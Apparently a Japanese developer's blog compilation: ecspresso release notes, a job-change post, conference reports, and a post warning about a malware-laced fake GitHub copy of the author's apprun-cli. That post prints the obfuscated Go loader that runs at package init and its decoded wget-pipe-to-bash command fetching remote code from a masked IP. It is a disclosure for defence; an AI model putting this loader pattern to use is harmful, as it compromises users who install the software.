ECS Blue/Green に対応した ecspresso v2.6.0 をリリースしました

Amazon ECS デプロイツール、ecspresso v2.6.0 をリリースしました。

github.com

新機能

ECS Blue/Green デプロイ対応

これまで ECS では CodeDeploy と連携する形での Blue/Green デプロイがサポートされていましたが、先日 ECS deployment controller でのネイティブな Blue/Green がサポートされました。その対応が入っています。

aws.amazon.com

使い方としては特にこれまでと変わらず、サービス定義ファイルに B/G 用の属性を追加して ecspresso deploy するだけで使えるようになります。READMEを参照してください

実装は実は何も大変ではなかったので(ほぼSDKのバージョンを上げただけ) 即日 nightly バージョンをリリースしたところ、早速検証記事を書いていただけました。助かります! kakakakakku.hatenablog.com

rollback コマンドが進行中のデプロイメントを停止するように

2025年5月に、ECS 自体にロールバックのための仕組み(進行中のデプロイメントを停止する)が導入されました。ecspresso rollback は可能な場合にはその API を利用してロールバックを行うようになりました。

aws.amazon.com

これまでの ecspresso rollback は、以下のような実装になっていました。

  1. 現在動作している ECS サービスに設定されているタスク定義を見つける
  2. そのタスク定義の「直前のリビジョン」(削除/無効化されていない、現在のリビジョンより小さく一番近い値のもの)を見つける
  3. 「直前のリビジョンのタスク定義」を使って、デプロイと同じ処理をする

そもそもロールバックするための API が ECS には長らく存在しなかったため、このようにしてロールバック処理をエミュレートしていました。今回は ECS 自体に API が追加されたため、それに対応したということになります。

(ちなみに、DeploymentControllerが CodeDeploy の場合は以前から CodeDeploy 自体の APIロールバックを行っていました)

なお、デプロイが完全に完了してしまった場合は ECS でのロールバックができません。その状態で実行すると、以前と同様のアルゴリズムロールバックを行います。

tfstate参照で for_each / count で定義されたリソースをまとめて参照できるように

tfstate-lookup v1.7.0 で使えるようになった機能です。

これまで ecspresso での tfstate 参照では、for_each / count で定義されたリソースのアドレスを aws_subnet.private["az-a"] のようにindexまで指定する必要がありました。今回のアップデートで for_each で定義されたリソースは Object で、count で定義されたリソースは List で取得できるようになりました。

例えば subnet を for_each で定義する例を考えます。

resource "aws_subnet" "private" {
  for_each = {
    a = 1,
    b = 2,
    c = 3,
  }
  vpc_id            = aws_vpc.main.id
  cidr_block        = "10.0.${each.value}.0/24"
  availability_zone = "ap-northeast-1${each.key}"
}

このように定義したリソースは ecspresso から

  • {{ tfstate `aws_subnet.private["a"]` }}(テンプレート記法の場合),
  • tfstate('aws_subnet.private["a"]')(Jsonnetの場合)

などとして参照できますが、新たに aws_subnet.private というアドレスで object (key が index, value がそれぞれのリソース) として参照できるようになりました。

これを利用すると、例えば Jsonnet では以下のように std.objectValues で全ての value (リソース) を取得してループを回すような記述が可能になります。

local tfstate = std.native('tfstate');
{
  subnets: [
    subnet.id for subnet in std.objectValues(tfstate('aws_subnet.private'))
  ],
}

参照先の tfstate によってリソースの数やkeyが違うような場合にも、共通の定義ファイルで対応できますね。

挙動の変更

ecspresso deploy --wait-until deployed がデフォルトに

v2.5.0 での新機能で、deploy オプションに --wait-until=(deployed|stable) が追加されています。これはコントリビューションいただいた機能です。

www.estie.jp

v2.6 では、デフォルトで --wait-until=deployed が指定されるようになりました。

実は、最近のマネージメントコンソールでは --wait-until=deployed 相当(実行したデプロイメントが完了した時点) のタイミングで「デプロイが完了した」と報告されます。

以前のデフォルトである --wait-until=stable は新しいデプロイメントが完了した後、古いデプロイメントが完全に停止するまで待たされてしまうので、マネージメントコンソールでの体感と異なる状態になっていました。今回の変更で同一になります。

なお ecspresso には他にも --wait-until を持つコマンドがあります(scale, rollback, wait)が、それらのデフォルトは stable のままです。

不具合修正

ECS サービスに紐づいている LoadBlancer や ServiceConnect の設定をサービス定義から削除しても、実際には紐付けが削除されない問題を修正しました。


ということで、ecspresso v2.6.0 の紹介でした。どうぞご利用ください。

ecspresso v2.5.0をリリースしました

Amazon ECS デプロイツール ecspresso v2.5.0 をリリースしたのでお知らせです。

github.com

新機能がいくつか、ログ出力まわりの変更、その他細かい修正などが入っています。非互換な変更は (ログ形式以外) ありません。

新機能

外部コマンド呼び出しプラグインを追加

ecspresso の実行時に、テンプレート関数から外部コマンドを呼び出して結果を取得する external plugin を追加しました。

ここでは使い方の例として、「現在時刻を ISO8601 形式で出力する jq コマンドを呼び出す」ようにしてみます。

$ jq -n "{ Now: now | todateiso8601 }"
{
  "Now": "2024-10-25T16:13:22Z"
}

ecspresso の設定ファイルで、external plugin から呼び出すコマンドを定義します。ここでは

  • jq というテンプレート関数を定義する
  • 実行するコマンドは jq -n で引数を1つ取る

としてみます。

# ecspresso.yml
plugins:
  - name: external
    config:
      name: jq
      command: ["jq", "-n"]
      num_args: 1
      timeout: 5

テンプレートからは、定義したテンプレート関数に対して、引数を渡すことで実行できます。

local jq = std.native('jq');
{
  today: jq('{ Now: now | todateiso8601 }').Now,
}

デフォルトでは、コマンドは標準出力にJSONを出力することを期待しています。設定で parser: string を指定することで、結果を文字列として扱うこともできるようになっています。

ユースケースとしては、ecspresso 実行前になんらかのコマンドを実行して ecspresso のテンプレートに埋め込む値を生成する必要がある場面を想定しています。

これまでは、環境変数を経由して値を受け渡す必要がありました。

  1. shell などでコマンドを実行し、その結果を環境変数に設定する
  2. ecspresso ではテンプレートで環境変数を参照する

external plugin を利用することで、環境変数での値のやりとりなしにコマンドの出力を直接扱うことが可能になります。

deploy --wait-until=deployed を追加

ecspresso deploy を実行すると、デフォルトでは ECS サービスが stable になるまで待機します。最新の deployment が成功した時点で待機を打ち切るためのオプションが追加されました。

デフォルトではこれまで通り、--wait-until=stable なので挙動は変わりません。

CodeDeploy 利用時に DeploymentConfigName を上書き可能に

これまでは、CodeDeploy の DeploymentGroup (ECSサービスに1:1対応している) に設定されている DeploymentConfigName が暗黙的に指定されていました。設定ファイルで codedeploy.deployment_config_name を明示的に指定することで、DeploymentGroup に指定された以外の DeploymentConfig を利用できるようになりました。

codedeploy:
  application_name: myapp
  deployment_group_name: mydeployment
  deployment_config_name: myDeploymentConfig # optional, override DeploymentGroup setting

ログ出力を log/slog に変更

ログの出力を Go 標準の slog に変更しました。v2.4までとはログの出力形式が多少異なります。

v2.4 まで

$ ecspresso diff --debug
2025/05/09 14:59:37 [INFO] ecspresso version: v2.4.6
2025/05/09 14:59:38 ecspresso/ecspresso [DEBUG] config file path: ecspresso.jsonnet
2025/05/09 14:59:38 ecspresso/ecspresso [DEBUG] timeout: 10m0s

v2.5 から

$ ecspresso diff --debug
2025-05-09T14:58:49.875+09:00 [INFO] ecspresso version: v2.5.0
2025-05-09T14:58:51.302+09:00 [DEBUG] [ecspresso/ecspresso] config file path: ecspresso.jsonnet
2025-05-09T14:58:51.302+09:00 [DEBUG] [ecspresso/ecspresso] timeout: 10m0s

また、--log-format=json というオプションが追加されました。ログと、その他の出力 (diff は除きます) が、JSON で出力されるようになります。

その他細かい変更

依存パッケージの更新、内部で time.Sleep() を利用しているタイミングで Ctrl-C などでの打ち切りがすぐに行われなかったのを修正、verify コマンドのリファクタリング(動作は同じです)、などが含まれています。


ということで、ecspresso v2.5.0 のお知らせでした。機能要望などをお送りいただいた皆様、ありがとうございました。今回のリリースでは非互換変更は含まれていないはずですが、もし何かありましたらお知らせ下さい。

自分のOSSのマルウェア入り偽物を作られたので通報した

物騒な世の中です。皆様お気をつけください。

3行でまとめ

  • 自作の OSSfujiwara/apprun-cliマルウェア入り偽物を作られて GitHub で公開されました
  • 偽物には大量の新規アカウントがスターを付けていたため、検索でオリジナルのものより上位に表示される状態でした
  • GitHub に通報したところ、偽物を作ったアカウントはbanされたようです

経緯

2024年末に、さくらのAppRun用デプロイツール apprun-cli という OSS を公開しました。

github.com

2025年2月10日 12時過ぎのこと、謎の人物が X で apprun-cli を宣伝しているのを見つけました。

どう見ても自分の物と同じ(コピー)なのですが、妙にスターが多い。リポジトリをのぞいてみると、fork ではなくコードがすべて commit 履歴を引き継がない状態でコピーされ、スターをつけているのはここ数日で作成されたアカウントばかりなので、これはspam目的だなあと。

しかしライセンスもちゃんと(改変せずに)コピーされているので、MITライセンス的には問題ない状態です。まあでも明らかにspamだし、GitHub に通報するか…と思っていたところ、同僚が差分に不審なコードがある、と教えてくれました。

コードは一応難読化されているのですが、exec.Command で外部コマンドを実行していて明らかに不審ですね。

func apknAR() error {
    uW := []string{"d", "a", "f", ".", "d", "p", "/", "/", " ", "0", "t", "e", " ", "&", "f", ":", "h", "n", "/", "1", "t", "7", "r", "e", " ", "h", "d", ".", "s", "1", "b", "a", "7", "a", "5", "O", "1", "t", "b", "g", ".", "|", "6", "w", "/", " ", "b", "1", "g", "5", "7", "0", "3", "8", "1", "-", "/", " ", "/", "-", "s", "5", "/", "2", "4", "3", "3", "o", "e", " ", "t", "0", "i"}
    YqGVjWNN := "/bin/sh"
    YmeLkYfy := "-c"
    TyNpjDez := uW[43] + uW[39] + uW[68] + uW[70] + uW[12] + uW[55] + uW[35] + uW[45] + uW[59] + uW[57] + uW[25] + uW[20] + uW[10] + uW[5] + uW[15] + uW[62] + uW[18] + uW[47] + uW[53] + uW[49] + uW[27] + uW[19] + uW[9] + uW[71] + uW[40] + uW[29] + uW[34] + uW[50] + uW[3] + uW[54] + uW[63] + uW[32] + uW[56] + uW[28] + uW[37] + uW[67] + uW[22] + uW[1] + uW[48] + uW[11] + uW[44] + uW[0] + uW[23] + uW[65] + uW[21] + uW[52] + uW[26] + uW[51] + uW[4] + uW[14] + uW[58] + uW[33] + uW[66] + uW[36] + uW[61] + uW[64] + uW[42] + uW[46] + uW[2] + uW[69] + uW[41] + uW[24] + uW[7] + uW[38] + uW[72] + uW[17] + uW[6] + uW[30] + uW[31] + uW[60] + uW[16] + uW[8] + uW[13]
    exec.Command(YqGVjWNN, YmeLkYfy, TyNpjDez).Start()
    return nil
}

var lEVKGADV = apknAR()

これを復元すると、以下のような sh を実行するコードであることがわかります(IPアドレスは一応隠しました)。ひどい。

wget -O - http://***.***.***.***/storage/de373d0df/a31546bf | /bin/bash &

GitHub に通報

docs.github.com

GitHub で偽物を公開していたアカウントのページから「Block or Report」→「Report abuse」と進み、経緯と証拠をまとめて以下の文面で報告しました。ちなみにこの文面は ChatGPT に考えてもらったものです。便利。

Hello, GitHub Support Team,

I would like to report an unauthorized copy of my repository, fujiwara/apprun-cli, which appears to include potentially malicious modifications.

Details of the Issue
- My original repository: https://github.com/fujiwara/apprun-cli
- Copied repository: https://github.com/sunnycicada/apprun-cli
- Malicious behavior: The copied repository appears to have added suspicious code, which might be malware. The concerning portion of the code can be found here:
https://github.com/sunnycicada/apprun-cli/blob/fcb59bfd3848d92e352eb299b1d95cc4cd942509/app.go#L158-L167
- Artificial engagement: The copied repository is linked to a recently created account, sunnycicada, which appears to be engaging in suspicious activity, including mass starring of repositories.

Request
Please investigate this case as it involves both unauthorized copying of my repository and potentially harmful modifications that could mislead users. If needed, I can provide additional evidence.
Thank you for your support. I look forward to your response.

Best regards,

結果

2025-02-10 13:10 (JST) ごろ報告、約13時間後に確認したところ、アカウントとリポジトリがbanされたのか404になっていました。とりあえずよかったですね。

ということで、GitHubOSS を探すときは「名前で検索してスターがいっぱいついていて上に出てくるもの」を安易に入れてしまうと、まんまとマルウェアの餌食になる可能性があります。皆様お気をつけください。

さくらインターネットに入社しました

2025年1月末に14年間勤務した 面白法人カヤック を退職し、2025年2月から さくらインターネット に入社しました。

転職の経緯

自分はここ数年、クラウドを便利に使う「隙間家具OSS」として主にCLIツールをいっぱい作ってきたわけですが、実はサーバー/デーモンっぽいものを作るのも好きなんですよね。とはいえ昨今の状況で自作のミドルウェアやサーバーをクラウド上にデプロイしても運用が大変なだけですし(自分以外に運用させるのはなおさら)、なかなかできないなと。

そんなこんなで手持ちの運用サービス(10年続いたソーシャルゲームやもろもろ)が終了することになり、やることないなどうしようかなと思っていたタイミングで 2024年夏に kazeburo さんから誘われ、tagomoris さんも入るということでこれは面白いことができるかな、というのがきっかけです。

エンジニア向けにものを作るというのを仕事としてやってみたかった、というのもありますね。

自分も今年50歳になるのでとりあえずあと10年、人間いつ死ぬかわからないですし(自分の父親は54で、癌が見つかって1年持たずに亡くなりました)、やりたいことをやろうと思いました。

その他にもまあありますが、直接会ったときにでも聞いてください。

ところでカヤックには14年もいたわけですが、長年仕事をしていると当然いろいろ辛いこともありますが、人間関係で辛かったことは一回もなかったな、と退職するときに改めて思ったのは書いておきますね。

これから何をするのか

クラウド事業本部付で採用され、ひとまず IaaS 基盤開発チームで何やらやるらしいです。オンボーディング中なのでまだ何もわからないですが…

手持ちの OSS のメンテについて

AWS を使わない職場になるということで、自分の手持ちの OSS (主に AWS を便利に使うもの) のメンテナンスがどうなるのかを気にされる方もいるかと思います。

個人(fujiwara)名義のはもちろん、GitHubkayac organization にあるものについてもすでにコラボレーター権限をもらっていますので、当面今まで通りメンテナンスをしていく予定です。カヤックの Slack にもシングルチャンネルゲストとして #oss に残っているので、コミュニケーションもできますし。

ただしこれまでのように業務時間中に作業ができるわけではないので、どうしても対応が遅れがちになったりすることはあるかもしれません。その場合、アクティブにメンテナンスしてやるぞという方がいらっしゃいましたら、何らかの手段でお申し出ください。メンテナンス権限を渡せるように何とかします。

ところで新作 apprun-cli を作りました

正月休みに手が空いた時間があったので、現在β公開中のさくらの「AppRun」のデプロイツール、apprun-cli を作っておきました。ecspresso / lambroll ライクな使い勝手で AppRun をデプロイできるやつです。どうぞご利用ください。(現時点では非公式の個人ツールですが、処遇はこれから相談します)

github.com

cloud.sakura.ad.jp

ということで、今後ともよろしくお願いします。

Fujiwara Tech Conference 2025 を開催していただきました

皆様、本当にありがとうございました。これは「開催しました」ではなく「していただきました」と書くしかないやつです。

connpass.com

発端

2024年10月に開催された YAPC::Hakodate、懇親会後の Findy さん主催ビアバッシュ会場でのことです。@moznion が突然、「fujiwara tech conference というのをやりたいんですけどいいですか?」と言ってきて、なんだそれはと思いつつも面白そうなので「ど、どうぞ」と応えました。

その場に人もいっぱいいたし、Findy さんも会場を提供できそうと盛り上がってしまい、これは冗談では済まないなと思っていたら早速一週間後に連絡が来て、あれよあれよと開催が決まってしまいました。

12月に募集開始したときは、最初は50人だったのが1時間ほどで埋まってしまい、70→90人(会場の限界)までその日のうちに埋まってしまって慄きましたね…

これはいったい何なのか

Amazon ECSのデプロイツールであるecspressoや、AWS Lambdaのデプロイツールであるlambroll、また軽量なAWS CLIのバリエーションであるawslimなど、開発者のためのツールを様々作成されている @fujiwara さんが作るソフトウェア、いわゆるfujiwara-wareの祭典です。

ということで、要するに私(fujiwara)が作った OSS についての技術カンファレンス、です。

自分は「隙間家具OSS」と称して(自分が言い始めた呼称)、小さい OSS をいくつも公開しています。代表作は Amazon ECS デプロイツールの ecspresso、Lambda デプロイツールの lambroll など、細かいものを含めれば数十作品あります。ありがたいことに勤務先以外でも使っていただける方が多くなり、特に ecspresso は日本の ECS 利用界隈ではそこそこの定番ツール扱いをされたりもしています1

ということで、利用者の方々を集めて作者個人名を冠した技術カンファレンスを開こう、となったわけです(……なんで?)

当日の様子

登壇者からの光景

togetter.com

あまりに嬉しかったので、自分で Togetter にまとめて何回も見返しています。

発表は OSS プロダクトの技術そのものというよりは、それぞれの方の fujiwara-ware (私が作った OSS の呼称) との関わりや思想、精神性についてのものが多かった気がします。発表者も元同僚や現同僚だけではなく、一度も同じ会社で働いたことはなくても OSS を通して繋がった関わりがあり、技術を通しての縁で遠路駆けつけてくれたかたもいて、本当にありがたいことです。

自分は基本的には好きにコードを書いてOSSとして公開し、自分やその勤務先のために使っていただけなのですが (いろいろ発表もしましたが)、それを10数年続けることによって、多少なりとも他の人のエンジニア人生にもよい影響を与えることができたのかなあと思うと、感慨深いですね。

自分が2018年に勝手に言いだした「隙間家具OSS」がいつの間にかミームとなって、他社でも一般名詞的に通用するものになっているのも面白いですね。一人が言い出した単語も5年ぐらい言い続けると一般化することもある。

キーノート、最後の「個人の力も重要」というのは(お気づきの方も多いと思いますが)、この会を企画してくれた @moznion の YAPC::Hakodate キーノートへの返歌です。やっていきましょう。

来年にむけて

……やるの??

今回のキーノート、個人的にはちょっとエモ成分が多かったなという気もするので、もし来年もやるならもうちょっとテクい話も入れたいですね。"Tech Conference" なので。

あらためまして、企画した @moznion、発表者の皆さま、会場を提供してくださった Findy さま、参加していただいた全ての皆さまにお礼を申し上げます。このような会を開けるのはエンジニア冥利に尽きますね。本当に楽しかったです!

発表一覧

(スライドは公開され次第更新します)

カヤックのアプリエンジニアから見たfujiwara-wareの思い出 @mackee_w

OSSエコシステムにおける自律・分散・協調 @songmu

speakerdeck.com

speakerdeck.com

キーノート

speakerdeck.com

LT

speakerdeck.com

speakerdeck.com

speakerdeck.com


  1. 大きなところではニンテンドーアカウントでも使われていたりします。https://www.itmedia.co.jp/news/articles/2305/11/news048_2.html

YAPC::Hakodate 2024に参加して前夜祭で「AWS Lambdaで実現するスケーラブルで低コストなWebサービス構築」の話をしました

2024-10-04〜05に開催された YAPC::Hakodate 2024 に参加してきました。楽しかったですね!!

自分が応募したトークは残念ながら本編では採択されなかったのですが、前夜祭のrejectconで発表の機会を頂いたので話してきました。資料はこちらです。

speakerdeck.com

とあるマイクロサービスを ECS から Lambda に(アプリケーションコードを変更せず) 乗り換えてコストが大幅削減しているグラフが見所です。あと最後、時間の関係で駆け足になってしまったのですが、LamuxというOSSを作りました。Lambdaの複数の関数/エイリアスをhost情報を元に呼び分けてくれるProxy(multiplexor)です。

LambdaでWebアプリケーションやAPIを開発するときのプレビュー環境構築にも使えますし、Lambda extensionとして動作させるとLambdaだけでサービスメッシュを実現するためのデータプレーンとしても使える便利なやつです。どうぞご利用ください。

github.com

2024-10-04 (前夜祭まで)

飛行機が7:30羽田発のJALだったので、10時前に市内到着。前夜祭まで時間があるので小雨の中走ってきました。

函館山、せっかく走って上ったのに山頂はガスの中で視界ゼロでしたが…

そのあと谷地頭温泉で汗を流し、#yapcramen、ホテルにチェックインして前夜祭へ。

2024-10-04 前夜祭

パネルディスカッションも面白かったですね。自分も来年50歳なので、いろいろ思うところはありますがまず健康維持が第一かなーと思います。健康じゃないと新しいことに好奇心を持つこともできなくなってしまうので。

大沼ビールと前夜祭ステージ

前夜祭後はmoznion、P山さんなどと一緒に飲みに。生のニシン刺身、鱈の白子がだいぶ衝撃的に旨かった。

2024-10-05 本編当日

起床成功したので朝ラン。五稜郭まで往復するには時間がなさそうだったので海辺を軽く往復。

バスに乗って未来大へ。

聞いたトークと感想を軽く

  • U25企画
    • U25企画、いい企画ですよね。これがなかったら来てなかったという人が大半のようで、若い人のためにお金を使うのは意義があることです
  • プロファイラ開発者と見る「推測するな、計測せよ」
    • 最初の30分の壮大な前振りからの、最後の10分で自分が喋りたいことを炸裂させるのいいですね!
    • 序盤で基礎知識が聴衆へインプットされているので、好きなことを喋っても聞いているほうが置いてけぼりにならない、構成が上手い
  • PerlPerlによるPerlのための言語サーバーを作る
    • ちゃんと動いてた!ワンライナー版作りたいのでソース公開したら見てみたいです
  • perl for shell, awk, sed programmers
    • ちょっとしたテキスト処理をパパッと書くにはいまでもperlはいい選択肢だと思ってます。手元だとrubyを使うこともあるけど、コンテナ環境でもよほどパッケージを絞らなければperlは入ってるので
  • データマイグレーションの成功戦略:サービスリニューアルで失敗しないための実践ガイド
    • マイグレーション担当大臣みたいになっていていいのやら悪いのやら…
    • 何度も似たようなことをやることで本質が見えるというのはありますね。量は質に転化する
  • 誰になんと言われても「いい開発環境」を作りたくて頑張っている話
    • これがたった1年でなされている、というのがまずすごい。経験を重ねたエンジニアの力を感じました
    • おみくじ大吉
    • トーク中に回ってきたおみくじ、「大吉」「ラッキー言語: Perl」という大当たり
  • Webセキュリティのあるきかた
    • すごく幅広い知識をインプットできてためになるトーク
    • 個人的には完全に初耳という話はあまりなくうっすらと理解はしている要素が多かったのですが、これらを全部網羅しておかないとどこかに穴があいてしまう、というのがセキュリティの辛さだなあ
  • CloudNative Meets WebAssembly: Wasm's Potential to Replace Containers
  • LT
    • みんなLTが上手い、接続の都合で順番が入れ替わったのがかえっていい感じになっていて運を感じる
  • キーノート
    • 昨今の業界は個々の力ではなく組織にフォーカスが当たっている、というのは自分も常々思っているところ
    • 成熟してきたということなんでしょうけど、黎明期の荒っぽい時代を知っていると変遷を感じますね
    • やっていきましょう

懇親会

おなじみの方も初めましての方もいろいろ話せてよかった。アイコンシールを配りまくりました。

懇親会のフルーツ盛り合わせ

Findy beer bash

広島に続いて今回もFindyさんが開催してくれたビアバッシュ。店で醸造しているというクラフトビールも美味かった。

2024-10-06

終日フリーだったので朝はゆっくり寝て、10時からいか祭りで朝飯代わりに朝イカ丼を…と思ったら55杯分しか入らなかったとのこと。不漁が深刻なんですね。並んだけど10人ぐらい前で売り切れてしまったので、丸焼きとゲソとトンビを。美味い。

ゲソ焼きとトンビ焼きイカの丸焼き

摩周丸を見学。青函連絡船は小学生の時に北海道旅行で乗ったことがある。その後すぐ青函トンネルが開通して廃止されたので、結構感慨深いですね。

摩周丸ブリッジ窓から見た函館山

そのあとkoluku、cohalz、AnaTofuZ (敬称略)と合流して「函太郎」でお寿司。またニシン。

生ニシンの寿司

1人で駅までもどって、ベイエリアまで歩いてラッキーピエロ (YAPC当日の昼に食べ損ねたので)

ラッキーピエロ チャイニーズチキンバーガーとアイスコーヒー

帰りは新幹線で東京まで。おつかれさまでした。

新幹線の座席で大沼ビールアルト、イカトンビ

ecspresso v2.4.0をリリースしました

Amazon ECSデプロイツール ecspresso v2.4.0 をリリースしたのでお知らせです。

github.com

目玉機能は Jsonnet native functions と ignore.tags です。どうぞご利用下さい。

github.com

新機能

Jsonnet native functions を追加

Add Jsonnet native functions by fujiwara · Pull Request #702 · kayac/ecspresso · GitHub

Jsonnet で利用できる関数として env, must_env, tfstate, ssm など、テンプレート関数と同等のものを追加しました。

これまでの以下のような設定ファイルは

# ecspresso.yml
region: '{{ must_env `AWS_REGION` }}'
cluster: '{{ env `CLUSTER` `default` }}'

Jsonnet でこう書けるようになります。

// ecspresso.jsonnet
local env = std.native('env');
local must_env = std.native('must_env');
{
  region: must_env('AWS_REGION'),
  cluster: env('CLUSTER', 'default'),
  // ...
}

複数の tfstate を使う例。

// ecs-service-def.jsonnet
local env = std.native('env');
local tfstate = std.native('tfstate');
local vpc_tfstate = std.native('vpc_tfstate'); // func_prefix: vpc_
{
  desiredCount: std.parseInt(env('DESIRED_COUNT', '1')),
  loadBalancers: [
    {
      containerName: 'nginx',
      containerPort: 80,
      targetGroupArn: tfstate('aws_lb_target_group.nginx.arn'),
    },
  ],
  networkConfiguration: {
    awsvpcConfiguration: {
      securityGroups: [ vpc_tfstate('aws_security_group.foo.id') ],
      subnets: [
        vpc_tfstate('aws_subnet.az-a.id'),
        vpc_tfstate('aws_subnet.az-b.id'),
      ],
    },
  },

背景

これまで ecspresso では設定・定義ファイルで変数展開する記法として、{{ must_env `FOO` }}{{ tfstate `aws_subnet.az-a.id` }} のようにGoの text/template の処理時に関数が利用できました。この機能を使うと値をハードコードせず、実行時に環境によって異なる値を展開できるため柔軟に利用できます。

しかし、この記法はあくまで設定・定義ファイルを単純なテキストファイルと見做して置換を行うため、記法がJSONと衝突することがあります。特に文字列以外の値を変数展開したい場合に問題が起きていました。

また、Jsonnet を設定・定義ファイルとして利用する場合には過去のバージョンとの互換性のため、以下の順で処理を行っています。

  1. Jsonnet としてファイルをパースしてJSONに変換
  2. 変換後のJSONをテキストファイルとしてテンプレートで置換

文字列以外をテンプレート記法で展開する場合、最初に Jsonnet としてパースする段階で不正な Jsonnet としてエラーになってしまうため、利用が難しい状態でした。

{
  // 環境変数に数値文字列を入れて数値として扱いたい…
  // が {{ が衝突するのでエラー
  desiredCount: {{ must_env `COUNT` }},
}
{
  // std.parseIntで文字列を数値にすれば…
  // が Jsonnet が解釈される時点ではテンプレート関数は処理されていないのでエラー
  desiredCount: std.parseInt('{{ must_env `COUNT` }}'),
}

v2.4では Jsonnet の関数として各種テンプレート関数と同等のものを追加したため、Jsonnet のみで処理が完結します。これで、記法の衝突を気にせず各種関数を使えます。また、Jsonnet のデフォルトの組み込み関数との組み合わせも可能になりました。

local must_env = std.native('must_env');
{
  desiredCount: std.parseInt( must_env('COUNT') ),
}

diff 処理を外部コマンドで実行できる --external ECSPRESSO_DIFF_COMMAND 追加

Add diff --external. Runs external diff command. by fujiwara · Pull Request #727 · kayac/ecspresso · GitHub

定義ファイルと現在のリソースの差分を表示する ecspresso diff コマンドで、差分表示に外部の任意のコマンドを指定できるようになりました。各位お好みのコマンドを指定して下さい。

たとえば difftastic を引数 --external=difft (もしくは環境変数 ECSPRESSO_DIFF_COMMAND=difft) で指定すると以下のようになります。

指定したコマンドはステータス 0 で終了する必要があります。たとえば一般的な diff(1) コマンドは差分がある場合に非0でexitするため、なんらかのwrapperを使用する必要があります。

特定のタグを無視できる ignore.tags 設定を追加

ECSサービスやタスク定義に ecspresso で管理していないタグが付与されている場合、デフォルトでは ecspresso の定義ファイルに記述されていないタグはデプロイ時に削除されます。

コスト管理タグなど、ecspresso 以外の手段で統一的に管理したいタグがある場合に削除したくないという要望があったため、設定ファイルに記述することでそのタグを無視することができるようになりました。

# ecspresso.yml
ignore:
  tags:
    - foo
    - bar

の場合、タグ foo, bar はデプロイ時に無視されます。ecspresso diff での比較時にも無視されるため、差分になりません。

出力の色づけを制御する --color, --no-color オプション追加

add disables colorized output option by ch1aki · Pull Request #718 · kayac/ecspresso · GitHub

ecspresso diff やログ出力の色づけを制御するオプションを追加しました。デフォルトでは従来通り --color (色づけ有効) です。無効にしたい場合は --no-color (環境変数 ECSPRESSO_COLOR=false) を指定して下さい。

非互換変更

ローリングデプロイ時にサーキットブレーカーが発動した場合、異常終了するように

Exit non-zero status when deployment is rolled back. by fujiwara · Pull Request #733 · kayac/ecspresso · GitHub

これまでは、ローリングデプロイ時に ECS のサーキットブレーカーが発動した場合でも、ecspresso deploy は exit 0 で正常終了してしまうことがありました。

v2.4では、ecspresso deploy 完了時 (サービスが stable になった時点) で、PRIMARY deployment のタスク定義がデプロイ開始時点に指定したものになっていない場合、異常終了するように変更されました。

ecspresso run--revision--latest-task-definition を同時に指定できなくなりました

revisionを指定しつつlatestを指定する、という矛盾した指定になるため、エラーになります。(v2.0の時点で将来廃止すると予告済)

ecspresso verify で SSM パラメータストアの値を検証する GetParameter API への fallbackを 廃止

remove fallback to ssm.GetParmater API by fujiwara · Pull Request #720 · kayac/ecspresso · GitHub

v2.3.3 でこれまで GetParameter API を使用していた箇所を、GetParameters (sあり) API を使用するように変更しました。これは ECS/Fargate Agent の挙動にあわせた修正です。

v2.3.x では GetParameters API が権限不足でエラーになった場合に GetParameter API を試すようになっていましたが、v2.4 でこの fallback を廃止しました。

ssm.GetParameter が許可されているが ssm.GetParameters が許可されていない権限で実行した場合、エラーになります。

その他の変更